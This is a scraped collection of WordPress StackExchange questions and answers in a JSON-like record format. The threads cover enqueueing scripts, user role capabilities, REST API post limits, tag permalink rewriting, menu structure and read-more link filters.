[ { "answer_id": 267340, "author": "Aniruddha Gawade", "author_id": 101818, "author_profile": "https://wordpress.stackexchange.com/users/101818", "pm_score": 2, "selected": false, "text": "<p>Use <code>wp_head();</code> and <code>wp_footer();</code> if you're putting all html in just one file.</p>\n\n<p>Although I would suggest making custom header for your plugin page. Which will have <code>&lt;head&gt;</code>, <code>&lt;html&gt;</code> and other necessary tags. Same with footer. <code>eg. header-plugin.php</code> and the use <code>get_header('plugin');</code></p>\n" }, { "answer_id": 267347, "author": "Rarst", "author_id": 847, "author_profile": "https://wordpress.stackexchange.com/users/847", "pm_score": 3, "selected": true, "text": "<p>Though uncommon, you can use <code>wp_print_scripts( ['jquery'] )</code> for explicit output.</p>\n\n<p>Note that you might hit issues with hooks firing in unexpected ways and such. <em>Generally</em> all WP pages on front end should just implement header/footer properly.</p>\n" } ]
2017/05/18
[ "https://wordpress.stackexchange.com/questions/267339", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/112778/" ]
I have a plugin page, which doesn't have `header.php` or `footer.php`. How can I include Wordpress jQuery on this page so I can use syntax like below ? ``` jQuery(document).ready(function() { alert('hello'); }); ``` At the moment it says: ``` Uncaught ReferenceError: jQuery is not defined ```
Though uncommon, you can use `wp_print_scripts( ['jquery'] )` for explicit output. Note that you might hit issues with hooks firing in unexpected ways and such. *Generally* all WP pages on front end should just implement header/footer properly.
267,357
<p>So this is my first run at a plugin. I built a "Toolbox" plugin for myself that I can add things to as I feel needed. Right now the plugin only has one feature and that is to create a new role named "Client". What it does is makes a hybrid of the Administrator and Editor role. It is so the client cant update something or change the permalink settings, but still can create users (I made it so this role can not create an admin) and other things admins can do.</p> <p>What I have come into as a problem is if a plugin has settings that are supposed to be for admin only but I want the "Client" to have access too as well. Use Yoast for example, what if this client has SEO knowledge so doesnt want me to do their SEO for them, how can I give them access to the Yoast settings? I know when I include ACF into themes I can use</p> <pre><code>// Hide ACF field group menu item add_filter('acf/settings/show_admin', '__return_false'); </code></pre> <p>to hide the Custom Fields menu in the admin panel. </p> <p>My overall goal is to have a list of checkboxes of my most used plugins (I do my best not to use many) that I can check to give them access. I just dont know what I would need to hook to, to be able to do that. </p>
[ { "answer_id": 267359, "author": "Muhammad Abdullah", "author_id": 117908, "author_profile": "https://wordpress.stackexchange.com/users/117908", "pm_score": 0, "selected": false, "text": "<p>You can use this plugin : </p>\n\n<p><a href=\"https://wordpress.org/plugins/advanced-access-manager/\" rel=\"nofollow noreferrer\">https://wordpress.org/plugins/advanced-access-manager/</a></p>\n\n<p>it allows you to manage the users roles and permissions, for plugins and even you can define specific pages to be shown for a certain use role.</p>\n\n<p>thanks, \nMuhammad</p>\n" }, { "answer_id": 267365, "author": "Nestsouls", "author_id": 119967, "author_profile": "https://wordpress.stackexchange.com/users/119967", "pm_score": 1, "selected": false, "text": "<p>try using </p>\n\n<pre><code> current_user_can( $capability , $object_id );\n</code></pre>\n\n<p>Reference: \n<a href=\"https://codex.wordpress.org/Function_Reference/current_user_can#Usage\" rel=\"nofollow noreferrer\">https://codex.wordpress.org/Function_Reference/current_user_can#Usage</a></p>\n" } ]
2017/05/18
[ "https://wordpress.stackexchange.com/questions/267357", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/119962/" ]
So this is my first run at a plugin. I built a "Toolbox" plugin for myself that I can add things to as I feel needed. Right now the plugin only has one feature and that is to create a new role named "Client". What it does is makes a hybrid of the Administrator and Editor role. It is so the client cant update something or change the permalink settings, but still can create users (I made it so this role can not create an admin) and other things admins can do. What I have come into as a problem is if a plugin has settings that are supposed to be for admin only but I want the "Client" to have access too as well. Use Yoast for example, what if this client has SEO knowledge so doesnt want me to do their SEO for them, how can I give them access to the Yoast settings? I know when I include ACF into themes I can use ``` // Hide ACF field group menu item add_filter('acf/settings/show_admin', '__return_false'); ``` to hide the Custom Fields menu in the admin panel. My overall goal is to have a list of checkboxes of my most used plugins (I do my best not to use many) that I can check to give them access. I just dont know what I would need to hook to, to be able to do that.
try using ``` current_user_can( $capability , $object_id ); ``` Reference: <https://codex.wordpress.org/Function_Reference/current_user_can#Usage>
267,361
<p>I have read other posts on this forum and none of which I read are solving my problem.</p> <p>Whenever I do: <a href="http://www.example.com/wp-json/wp/v2/posts?filter[posts_per_page]=-1" rel="nofollow noreferrer">http://www.example.com/wp-json/wp/v2/posts?filter[posts_per_page]=-1</a></p> <p>Or even: <a href="http://www.example.com/wp-json/wp/v2/posts?filter[posts_per_page]=99" rel="nofollow noreferrer">http://www.example.com/wp-json/wp/v2/posts?filter[posts_per_page]=99</a></p> <p>It still returns 10 posts. The same is happening when I try to get the Categories, or the Tags.</p> <p>I have a request to pull ALL categories, tags, and posts from the REST API as a single list.</p>
[ { "answer_id": 267359, "author": "Muhammad Abdullah", "author_id": 117908, "author_profile": "https://wordpress.stackexchange.com/users/117908", "pm_score": 0, "selected": false, "text": "<p>You can use this plugin : </p>\n\n<p><a href=\"https://wordpress.org/plugins/advanced-access-manager/\" rel=\"nofollow noreferrer\">https://wordpress.org/plugins/advanced-access-manager/</a></p>\n\n<p>it allows you to manage the users roles and permissions, for plugins and even you can define specific pages to be shown for a certain use role.</p>\n\n<p>thanks, \nMuhammad</p>\n" }, { "answer_id": 267365, "author": "Nestsouls", "author_id": 119967, "author_profile": "https://wordpress.stackexchange.com/users/119967", "pm_score": 1, "selected": false, "text": "<p>try using </p>\n\n<pre><code> current_user_can( $capability , $object_id );\n</code></pre>\n\n<p>Reference: \n<a href=\"https://codex.wordpress.org/Function_Reference/current_user_can#Usage\" rel=\"nofollow noreferrer\">https://codex.wordpress.org/Function_Reference/current_user_can#Usage</a></p>\n" } ]
2017/05/18
[ "https://wordpress.stackexchange.com/questions/267361", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/83781/" ]
I have read other posts on this forum and none of which I read are solving my problem. Whenever I do: <http://www.example.com/wp-json/wp/v2/posts?filter[posts_per_page]=-1> Or even: <http://www.example.com/wp-json/wp/v2/posts?filter[posts_per_page]=99> It still returns 10 posts. The same is happening when I try to get the Categories, or the Tags. I have a request to pull ALL categories, tags, and posts from the REST API as a single list.
try using ``` current_user_can( $capability , $object_id ); ``` Reference: <https://codex.wordpress.org/Function_Reference/current_user_can#Usage>
267,381
<p>first of all im new to Wordpress and PHP and i apologize if this is a basic question. I have a Wordpress installation and every post is marked with Tags and these Tags contain a link with: </p> <pre><code>href=domain.com/index.php/tag/TAGNAME </code></pre> <p>but i want the Link to be:</p> <pre><code>href=domain.com/index.php/search/TAGNAME </code></pre> <p>As far as i understand it i need to change the <code>get_tag_link()</code> but all is does is use the <code>get_term_link()</code> and then im totaly lost. Is there somewere a function which says <code>If(tag){ return "/tag/"}</code> which i can modify? The Theme i use uses this function for "breadcrumbs" <a href="http://dimox.net/wordpress-breadcrumbs-without-a-plugin/" rel="nofollow noreferrer">http://dimox.net/wordpress-breadcrumbs-without-a-plugin/</a> but i dont know if this i relevant in any form.</p> <p>Thank you very much.</p>
[ { "answer_id": 267397, "author": "WebElaine", "author_id": 102815, "author_profile": "https://wordpress.stackexchange.com/users/102815", "pm_score": 0, "selected": false, "text": "<p>You can rewrite the URLs in .htaccess:</p>\n\n<pre><code>RewriteEngine On\nRewriteRule ^tag/(.*)$ http://example.com/search/$1 [R=301,L]\n</code></pre>\n\n<p>Put this above the default WP .htaccess contents and replace example.com with your actual domain.</p>\n" }, { "answer_id": 267398, "author": "rheeantz", "author_id": 119810, "author_profile": "https://wordpress.stackexchange.com/users/119810", "pm_score": 1, "selected": false, "text": "<p>You just need to change your <strong>Tag base</strong> in permalinks setting on your website. </p>\n\n<p><a href=\"https://i.stack.imgur.com/eMCjv.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/eMCjv.png\" alt=\"enter image description here\"></a></p>\n\n<p>PS : By default /search/ is a slug for a search result page. To avoid conflict with search result page you may also need to rewrite search url. \ncheck this page to rewrite search url </p>\n\n<p><a href=\"https://bavotasan.com/2011/rewrite-search-result-url-for-wordpress/\" rel=\"nofollow noreferrer\">https://bavotasan.com/2011/rewrite-search-result-url-for-wordpress/</a></p>\n" }, { "answer_id": 267401, "author": "Jan Lenzen", "author_id": 119972, "author_profile": "https://wordpress.stackexchange.com/users/119972", "pm_score": 1, "selected": false, "text": "<p>I used a workaround for now. I eddited the category_template.php with the str_replace function. The problem turned out to be that the Tag Cloud used diffenten functions than the regular Tags. I just added this:</p>\n\n<pre><code>foreach ( $tags_data as $key =&gt; $tag_data ) {\n\n$class = $tag_data['class'] . ' tag-link-position-' . ( $key + 1 );\n $a[] = \"&lt;a href='\" . str_replace(\"/index.php/tag/\",\"/index.php/search/\",esc_url( $tag_data['url'] )) .(...)\n}\n</code></pre>\n\n<p>to wp_generate_tag_cloud() and this:</p>\n\n<pre><code>$the_tags = str_replace(\"/index.php/tag/\",\"/index.php/search/\",$the_tags);\n</code></pre>\n\n<p>to the_tags(). As stated bevor I'm new to this and I dont think thats the way it should be but it works for now. I used it with the BeTube Theme if anyone wants to use this as well.</p>\n\n<p>Thanks for your answers.</p>\n" } ]
2017/05/18
[ "https://wordpress.stackexchange.com/questions/267381", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/119972/" ]
first of all im new to Wordpress and PHP and i apologize if this is a basic question. I have a Wordpress installation and every post is marked with Tags and these Tags contain a link with: ``` href=domain.com/index.php/tag/TAGNAME ``` but i want the Link to be: ``` href=domain.com/index.php/search/TAGNAME ``` As far as i understand it i need to change the `get_tag_link()` but all is does is use the `get_term_link()` and then im totaly lost. Is there somewere a function which says `If(tag){ return "/tag/"}` which i can modify? The Theme i use uses this function for "breadcrumbs" <http://dimox.net/wordpress-breadcrumbs-without-a-plugin/> but i dont know if this i relevant in any form. Thank you very much.
You just need to change your **Tag base** in permalinks setting on your website. [![enter image description here](https://i.stack.imgur.com/eMCjv.png)](https://i.stack.imgur.com/eMCjv.png) PS : By default /search/ is a slug for a search result page. To avoid conflict with search result page you may also need to rewrite search url. check this page to rewrite search url <https://bavotasan.com/2011/rewrite-search-result-url-for-wordpress/>
267,411
<p>I realise Wordpress questions are hard to answer, given the plethora of plugins and complications out there. </p> <p>We've been having some trouble on our Wordpress page where virtual pages will populate their submenu with all the pages that don't have an explicit parent(Parent: (no parent)). </p> <p>I've isolated the offending code to this piece of code in the header: </p> <pre><code>&lt;!-- Secondary Nav --&gt; &lt;!-- Show Secondary Menu if the page is a child or has children --&gt; &lt;?php global $post; $children = get_pages( array( 'child_of' =&gt; $post-&gt;ID ) ); if ( is_page() &amp;&amp; $post-&gt;post_parent || count( $children ) &gt; 0 ) : ?&gt; &lt;div class="row subnav"&gt; &lt;div class="container"&gt; &lt;div class="columns large-12"&gt; &lt;ul&gt; &lt;?php wp_list_pages( array('title_li'=&gt;'','depth'=&gt;1,'child_of'=&gt;get_post_top_ancestor_id()) ); ?&gt; &lt;/ul&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;?php else : ?&gt; &lt;!--This is a parent page without children --&gt; &lt;?php endif; ?&gt; </code></pre> <p>Research has indicated that virtual pages are usually made as a page <em>with</em> children, as opposed to a page without children.</p> <p>How does Wordpress handle virtual pages with regards to page... childing? This bahaves as expected on normal pages, it gets a list of affiliated menu items. </p> <p>I've seen the same behaviour on buddypress, and this is currently happening with coursepress.</p> <p>I guess more importantly, is there a way to separate virtual pages from normal pages in this if statement so it doesn't generate submenus for them?</p> <p>Here's a couple image examples: </p> <p><a href="https://i.stack.imgur.com/BJpFA.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/BJpFA.jpg" alt="Example slug designation"></a></p> <p><a href="https://i.stack.imgur.com/Jk9xR.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/Jk9xR.jpg" alt="Course page"></a></p>
[ { "answer_id": 267417, "author": "Johansson", "author_id": 94498, "author_profile": "https://wordpress.stackexchange.com/users/94498", "pm_score": 2, "selected": true, "text": "<p>The WordPress, just like any other CMS, relies on generating content based on the user's request and then outputting it to the browser as an HTML page. What you asked can have a very long answer, but here is a simple explanation to what you asked. </p>\n\n<p>We begin with the file named <code>.htaccess</code>, which is a server file. This is what is inside an <code>.htaccess</code> file ( that is generated by WordPress when you activate pretty permalinks):</p>\n\n<pre><code>&lt;IfModule mod_rewrite.c&gt;\nRewriteEngine On\nRewriteBase /\nRewriteRule ^index\\.php$ - [L]\nRewriteCond %{REQUEST_FILENAME} !-f\nRewriteCond %{REQUEST_FILENAME} !-d\nRewriteRule . /index.php [L]\n&lt;/IfModule&gt;\n</code></pre>\n\n<p>The code simply tells the server to:</p>\n\n<p>If the requested URL is not a file or directory, then send the request to <code>index.php</code>, which is the place when WordPress is told what to load and view.</p>\n\n<p>When you are trying to access a post's content, for example by visiting <code>http://example.com/my-category/my-first-post</code>, WordPress checks the URL and notices that you have tried to access a single post's content. It then will try and generate the content for that particular page.</p>\n\n<p>Every page in WordPress has it's own template, which is like a blank form that is going to be filled with data. For example, the template file for a single post, is called <code>single.php</code> and is located in the root of your templates directory. So, when you try to visit a post, the code inside that template part will be run.</p>\n\n<p>To have a better understanding of templates hierarchy, take a look into the below picture:</p>\n\n<p><a href=\"https://i.stack.imgur.com/tn1nf.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/tn1nf.png\" alt=\"WordPress template hierarchy\"></a></p>\n\n<p>So, how do we target these pages? The first approach is to find the proper template file and directly edit it. This is not recommended as the template file may be overridden in the future by updates.</p>\n\n<p>Another approach is to find the proper <code>hook</code> to change what we need to change. For example if you want to change the WordPress's title, you can hook into <code>wp_title</code> hook:</p>\n\n<pre><code>add_filter( 'wp_title', 'my_wp_title', 10, 2 );\nfunction my_wp_title(){\n return 'Hello!';\n}\n</code></pre>\n\n<p>This will set the title of your WordPress to <code>Hello!</code>. As i mentioned, your question is broad and the answer to it can be very long. If you exactly specify your problem, i can post a more accurate answer.</p>\n\n<p>I hope this helped you out with understanding of how WordPress (or any other CMS) renders it's content.</p>\n" }, { "answer_id": 267429, "author": "Frank P. Walentynowicz", "author_id": 32851, "author_profile": "https://wordpress.stackexchange.com/users/32851", "pm_score": 2, "selected": false, "text": "<h3>Problem Explanation</h3>\n\n<p>The only problems are menu settings, and your menu structure. There is no need for any custom code, or searching for any 'hooks'. In last section, I'll explain why pages ( custom post types ), created by CoursePress plugin, are not being displayed in <em>Pages -> All pages</em> list.</p>\n\n<h3>Solution</h3>\n\n<p>Go to <em>Appearance -> Menus</em> and select your menu for editing. Deselect <em>Automatically add new top-level pages to this menu</em> box in <em>Menu Settings -> Auto add pages</em> option. This step is very important. If the box, mentioned above, is checked, every time you create a new course, its title will be added as top level menu item. Now, you can rearrange, by dragging and dropping menu items, your menu structure, to get something like that:</p>\n\n<pre><code>Courses ( Post Type Archive )\n ├─── Course 1 ( Course )\n ├─── Course 2 ( Course )\n └─── Course 3 ( Course )\n</code></pre>\n\n<p>Press <em>Save Menu</em> button. All done. The rest is being handled by CoursePress plugin.</p>\n\n<h3>Pages vs Custom Post Types</h3>\n\n<p>The 'course' is a custom post type, created by CoursePress plugin. This plugin creates a top level admin menu <em>CoursePress</em> and, as one of its sub menus, <em>Courses</em>. This is where you get a list of virtual pages ( as you call it ). They are not listed by <em>Pages -> All pages</em>, because their 'post_type' is not 'page' but 'course'.</p>\n" } ]
2017/05/19
[ "https://wordpress.stackexchange.com/questions/267411", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/119833/" ]
I realise Wordpress questions are hard to answer, given the plethora of plugins and complications out there. We've been having some trouble on our Wordpress page where virtual pages will populate their submenu with all the pages that don't have an explicit parent(Parent: (no parent)). I've isolated the offending code to this piece of code in the header: ``` <!-- Secondary Nav --> <!-- Show Secondary Menu if the page is a child or has children --> <?php global $post; $children = get_pages( array( 'child_of' => $post->ID ) ); if ( is_page() && $post->post_parent || count( $children ) > 0 ) : ?> <div class="row subnav"> <div class="container"> <div class="columns large-12"> <ul> <?php wp_list_pages( array('title_li'=>'','depth'=>1,'child_of'=>get_post_top_ancestor_id()) ); ?> </ul> </div> </div> </div> <?php else : ?> <!--This is a parent page without children --> <?php endif; ?> ``` Research has indicated that virtual pages are usually made as a page *with* children, as opposed to a page without children. How does Wordpress handle virtual pages with regards to page... childing? This bahaves as expected on normal pages, it gets a list of affiliated menu items. I've seen the same behaviour on buddypress, and this is currently happening with coursepress. I guess more importantly, is there a way to separate virtual pages from normal pages in this if statement so it doesn't generate submenus for them? Here's a couple image examples: [![Example slug designation](https://i.stack.imgur.com/BJpFA.jpg)](https://i.stack.imgur.com/BJpFA.jpg) [![Course page](https://i.stack.imgur.com/Jk9xR.jpg)](https://i.stack.imgur.com/Jk9xR.jpg)
The WordPress, just like any other CMS, relies on generating content based on the user's request and then outputting it to the browser as an HTML page. What you asked can have a very long answer, but here is a simple explanation to what you asked. We begin with the file named `.htaccess`, which is a server file. This is what is inside an `.htaccess` file ( that is generated by WordPress when you activate pretty permalinks): ``` <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ``` The code simply tells the server to: If the requested URL is not a file or directory, then send the request to `index.php`, which is the place when WordPress is told what to load and view. When you are trying to access a post's content, for example by visiting `http://example.com/my-category/my-first-post`, WordPress checks the URL and notices that you have tried to access a single post's content. It then will try and generate the content for that particular page. Every page in WordPress has it's own template, which is like a blank form that is going to be filled with data. For example, the template file for a single post, is called `single.php` and is located in the root of your templates directory. So, when you try to visit a post, the code inside that template part will be run. To have a better understanding of templates hierarchy, take a look into the below picture: [![WordPress template hierarchy](https://i.stack.imgur.com/tn1nf.png)](https://i.stack.imgur.com/tn1nf.png) So, how do we target these pages? The first approach is to find the proper template file and directly edit it. This is not recommended as the template file may be overridden in the future by updates. Another approach is to find the proper `hook` to change what we need to change. For example if you want to change the WordPress's title, you can hook into `wp_title` hook: ``` add_filter( 'wp_title', 'my_wp_title', 10, 2 ); function my_wp_title(){ return 'Hello!'; } ``` This will set the title of your WordPress to `Hello!`. As i mentioned, your question is broad and the answer to it can be very long. If you exactly specify your problem, i can post a more accurate answer. I hope this helped you out with understanding of how WordPress (or any other CMS) renders it's content.
267,435
<p>I use a function to modify the 'read more' link for posts.</p> <pre><code>function modify_read_more_link() { return '&lt;p class="read-more"&gt;&lt;a href="' . get_permalink() . '"&gt;CONTINUE READING &amp;raquo&lt;/a&gt;&lt;/p&gt;'; } add_filter( 'the_content_more_link', 'modify_read_more_link' ); </code></pre> <p>I want to use different text for the feed, and wonder whether this can be done using a conditional if <code>is_feed()</code> tag?</p> <p>(I don't know enough, and my experiments either don't work or halt page loads.)</p>
[ { "answer_id": 267440, "author": "Ajay Malhotra", "author_id": 118989, "author_profile": "https://wordpress.stackexchange.com/users/118989", "pm_score": 1, "selected": false, "text": "<p>These are some tricks:</p>\n\n<pre><code> /* Modify the read more link on the_excerpt() */\n\n function et_excerpt_length($length) {\n return 220;\n }\nadd_filter('excerpt_length', 'et_excerpt_length');\n\n/* Add a link to the end of our excerpt contained in a div for styling \npurposes and to break to a new line on the page.*/\n\n function et_excerpt_more($more) {\n global $post;\n return '&lt;div class=\"view-full-post\"&gt;&lt;a href=\"'. get_permalink($post-&gt;ID) . \n'\" class=\"view-full-post-btn\"&gt;View Full Post&lt;/a&gt;&lt;/div&gt;;';\n}\nadd_filter('excerpt_more', 'et_excerpt_more');\n</code></pre>\n\n<p>Thank you</p>\n" }, { "answer_id": 267462, "author": "cjbj", "author_id": 75495, "author_profile": "https://wordpress.stackexchange.com/users/75495", "pm_score": 0, "selected": false, "text": "<p>Default WP lets you choose between the excerpt or the full post content to include in the feed (under Settings -> Reading). There's no option to include the content up to the more-link, unless you have some plugin that does this for you. Hence, it's no use trying to change the more-link text for the feed, because it will be ignored.</p>\n\n<p>So, if you want your feed to include <code>the_content</code> up to the read more text, you will have to build it yourself <a href=\"https://developer.wordpress.org/reference/hooks/the_content/\" rel=\"nofollow noreferrer\">using a filter</a>, like this:</p>\n\n<pre><code>add_filter ('the_content', 'wpse267435_readmore', 1, 10);\nfunction wpse267435_readmore ($content) {\n if (is_feed()) {\n ... do stuff with $content ...\n }\n return $content;\n }\n</code></pre>\n\n<p>Now, doing stuff with content involves cutting it off at <code>&lt;!--more--&gt;</code>, assuming you are not using any more complex tags. This is straightforward PHP:</p>\n\n<pre><code>$cut_off = strpos ($content,'&lt;!--more--&gt;');\n$content = substr ($content, 0, $cut_off);\n</code></pre>\n\n<p>Now you can add any read more link you want:</p>\n\n<pre><code>$content = $content . '&lt;a href=\"....\"&gt;My special link &lt;/a&gt;';\n</code></pre>\n\n<p><strong>Beware 1</strong> Feeds are xml files. In principle html anchor tags are invalid xml. Most browsers will render your link correctly, but they may also generate their own links based on other tags in the xml file.</p>\n\n<p><strong>Beware 2</strong> Normally the filter should process before any shortcodes are evaluated. But if you have a plugin or theme messing with priorities the '' may already be gone by the time you are trying to find it in <code>the_content</code>. In that case, lower the priority on the filter.</p>\n" } ]
2017/05/19
[ "https://wordpress.stackexchange.com/questions/267435", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/103213/" ]
I use a function to modify the 'read more' link for posts. ``` function modify_read_more_link() { return '<p class="read-more"><a href="' . get_permalink() . '">CONTINUE READING &raquo</a></p>'; } add_filter( 'the_content_more_link', 'modify_read_more_link' ); ``` I want to use different text for the feed, and wonder whether this can be done using a conditional if `is_feed()` tag? (I don't know enough, and my experiments either don't work or halt page loads.)
These are some tricks: ``` /* Modify the read more link on the_excerpt() */ function et_excerpt_length($length) { return 220; } add_filter('excerpt_length', 'et_excerpt_length'); /* Add a link to the end of our excerpt contained in a div for styling purposes and to break to a new line on the page.*/ function et_excerpt_more($more) { global $post; return '<div class="view-full-post"><a href="'. get_permalink($post->ID) . '" class="view-full-post-btn">View Full Post</a></div>;'; } add_filter('excerpt_more', 'et_excerpt_more'); ``` Thank you
267,448
<p>I use below function (<code>Nothing here</code> is protection message):</p> <pre><code>function show_user_content($atts,$content = null){ global $post; if (current_user_can('subscriber')){ return $content; } return "Nothing here"; } add_shortcode('RESTRICTROLE','show_user_content'); </code></pre> <p>Then in post content:</p> <pre><code>[RESTRICTROLE]some word for subscriber[/RESTRICTROLE] </code></pre> <p>I need to be able to write the protection message in post content instead of in function.</p> <p>My goal is to use multiple protection message by using single function.</p>
[ { "answer_id": 267440, "author": "Ajay Malhotra", "author_id": 118989, "author_profile": "https://wordpress.stackexchange.com/users/118989", "pm_score": 1, "selected": false, "text": "<p>These are some tricks:</p>\n\n<pre><code> /* Modify the read more link on the_excerpt() */\n\n function et_excerpt_length($length) {\n return 220;\n }\nadd_filter('excerpt_length', 'et_excerpt_length');\n\n/* Add a link to the end of our excerpt contained in a div for styling \npurposes and to break to a new line on the page.*/\n\n function et_excerpt_more($more) {\n global $post;\n return '&lt;div class=\"view-full-post\"&gt;&lt;a href=\"'. get_permalink($post-&gt;ID) . \n'\" class=\"view-full-post-btn\"&gt;View Full Post&lt;/a&gt;&lt;/div&gt;;';\n}\nadd_filter('excerpt_more', 'et_excerpt_more');\n</code></pre>\n\n<p>Thank you</p>\n" }, { "answer_id": 267462, "author": "cjbj", "author_id": 75495, "author_profile": "https://wordpress.stackexchange.com/users/75495", "pm_score": 0, "selected": false, "text": "<p>Default WP lets you choose between the excerpt or the full post content to include in the feed (under Settings -> Reading). There's no option to include the content up to the more-link, unless you have some plugin that does this for you. Hence, it's no use trying to change the more-link text for the feed, because it will be ignored.</p>\n\n<p>So, if you want your feed to include <code>the_content</code> up to the read more text, you will have to build it yourself <a href=\"https://developer.wordpress.org/reference/hooks/the_content/\" rel=\"nofollow noreferrer\">using a filter</a>, like this:</p>\n\n<pre><code>add_filter ('the_content', 'wpse267435_readmore', 1, 10);\nfunction wpse267435_readmore ($content) {\n if (is_feed()) {\n ... do stuff with $content ...\n }\n return $content;\n }\n</code></pre>\n\n<p>Now, doing stuff with content involves cutting it off at <code>&lt;!--more--&gt;</code>, assuming you are not using any more complex tags. This is straightforward PHP:</p>\n\n<pre><code>$cut_off = strpos ($content,'&lt;!--more--&gt;');\n$content = substr ($content, 0, $cut_off);\n</code></pre>\n\n<p>Now you can add any read more link you want:</p>\n\n<pre><code>$content = $content . '&lt;a href=\"....\"&gt;My special link &lt;/a&gt;';\n</code></pre>\n\n<p><strong>Beware 1</strong> Feeds are xml files. In principle html anchor tags are invalid xml. Most browsers will render your link correctly, but they may also generate their own links based on other tags in the xml file.</p>\n\n<p><strong>Beware 2</strong> Normally the filter should process before any shortcodes are evaluated. But if you have a plugin or theme messing with priorities the '' may already be gone by the time you are trying to find it in <code>the_content</code>. In that case, lower the priority on the filter.</p>\n" } ]
2017/05/19
[ "https://wordpress.stackexchange.com/questions/267448", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/114357/" ]
I use below function (`Nothing here` is protection message): ``` function show_user_content($atts,$content = null){ global $post; if (current_user_can('subscriber')){ return $content; } return "Nothing here"; } add_shortcode('RESTRICTROLE','show_user_content'); ``` Then in post content: ``` [RESTRICTROLE]some word for subscriber[/RESTRICTROLE] ``` I need to be able to write the protection message in post content instead of in function. My goal is to use multiple protection message by using single function.
These are some tricks: ``` /* Modify the read more link on the_excerpt() */ function et_excerpt_length($length) { return 220; } add_filter('excerpt_length', 'et_excerpt_length'); /* Add a link to the end of our excerpt contained in a div for styling purposes and to break to a new line on the page.*/ function et_excerpt_more($more) { global $post; return '<div class="view-full-post"><a href="'. get_permalink($post->ID) . '" class="view-full-post-btn">View Full Post</a></div>;'; } add_filter('excerpt_more', 'et_excerpt_more'); ``` Thank you
267,479
<p>I define the wp_enqueue_script in the pugin definition file and I can see my script being fired when I log in as admin, but not as a normal user. Why is this happening? And how can I enable scripts for all logged-in users, and not just admin? I did this on plugin file:</p> <pre><code>function enqueue_team_management_scripts() { wp_enqueue_script("team-scripts", plugin_dir_url(__FILE__) . "js/team-scripts.js"); } add_action("wp_enqueue_scripts", "enqueue_team_management_scripts"); </code></pre> <p>and this on my template page:</p> <pre><code>&lt;button id="create_team" onclick="createTeam();" &gt;CREATE TEAM&lt;/button&gt; </code></pre> <p>When I click the button, nothing happens (error displays in firebug)></p>
[ { "answer_id": 267486, "author": "Johansson", "author_id": 94498, "author_profile": "https://wordpress.stackexchange.com/users/94498", "pm_score": 1, "selected": false, "text": "<p>To output your scripts for non-logged-in users, use a conditional in conjunction with <code>wp_enqueue_script()</code>:</p>\n\n<pre><code>add_action('wp_enqueue_scripts','enqueue_my_script');\nfunction enqueue_my_script(){\n if (!is_logged_in()) {\n wp_enqueue_script('my-script','YOUR SCRIPT URL');\n }\n}\n</code></pre>\n\n<p>This will only enqueue the script for non-logged in users. If you remove the conditional, it will enqueue the script for everyone. </p>\n\n<p>If you already have an script being enqueued only for admins, there is most likely a conditional <code>is_logged_in()</code> in your code. Try finding and removing that line of code.</p>\n" }, { "answer_id": 267488, "author": "codepixelstudio", "author_id": 120049, "author_profile": "https://wordpress.stackexchange.com/users/120049", "pm_score": 2, "selected": false, "text": "<p>Additionally, apart from the \"where\" of your <code>wp_enqueue_script()</code> function (i.e. theme, plugin, etc.), the \"when\" is also important, in terms of WP's <a href=\"https://codex.wordpress.org/Plugin_API/Action_Reference/\" rel=\"nofollow noreferrer\">Action Reference</a> hooks, and the order in which they're fired.</p>\n\n<p>There are 2 distinct script-related hooks, <code>wp_enqueue_scripts</code> and <code>admin_enqueue_scripts</code>, which allow for separation of scripts and styles depending on which view the user currently has.</p>\n\n<p>If you're not hooking your <code>wp_enqueue_script()</code> function into one of these properly, this would be one potential cause of the problem.</p>\n\n<p>Providing the code in question will help us find the answer.</p>\n\n<p>EDIT: if you need/want the script to only be enqueued for logged-in, non-admin users, you can wrap it with a two-part conditional evaluator, similar to this:</p>\n\n<pre><code>if( is_user_logged_in() &amp;&amp; !current_user_can( 'administrator' ) ) {\n // enqueue stuff goes here\n}\n</code></pre>\n\n<p>That's the most basic method of testing the conditions you've provided, but it's important to note, there's better, more regimented, methods of determining a user's role type and capabilities, than current_user_can() as this simple function only returns the role type, and not specific capabilities that may have been added/removed to/from a role type via a plugin or customization elsewhere in the theme, and those changes may or may not impact your end goal. </p>\n" } ]
2017/05/19
[ "https://wordpress.stackexchange.com/questions/267479", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/75915/" ]
I define the wp\_enqueue\_script in the pugin definition file and I can see my script being fired when I log in as admin, but not as a normal user. Why is this happening? And how can I enable scripts for all logged-in users, and not just admin? I did this on plugin file: ``` function enqueue_team_management_scripts() { wp_enqueue_script("team-scripts", plugin_dir_url(__FILE__) . "js/team-scripts.js"); } add_action("wp_enqueue_scripts", "enqueue_team_management_scripts"); ``` and this on my template page: ``` <button id="create_team" onclick="createTeam();" >CREATE TEAM</button> ``` When I click the button, nothing happens (error displays in firebug)>
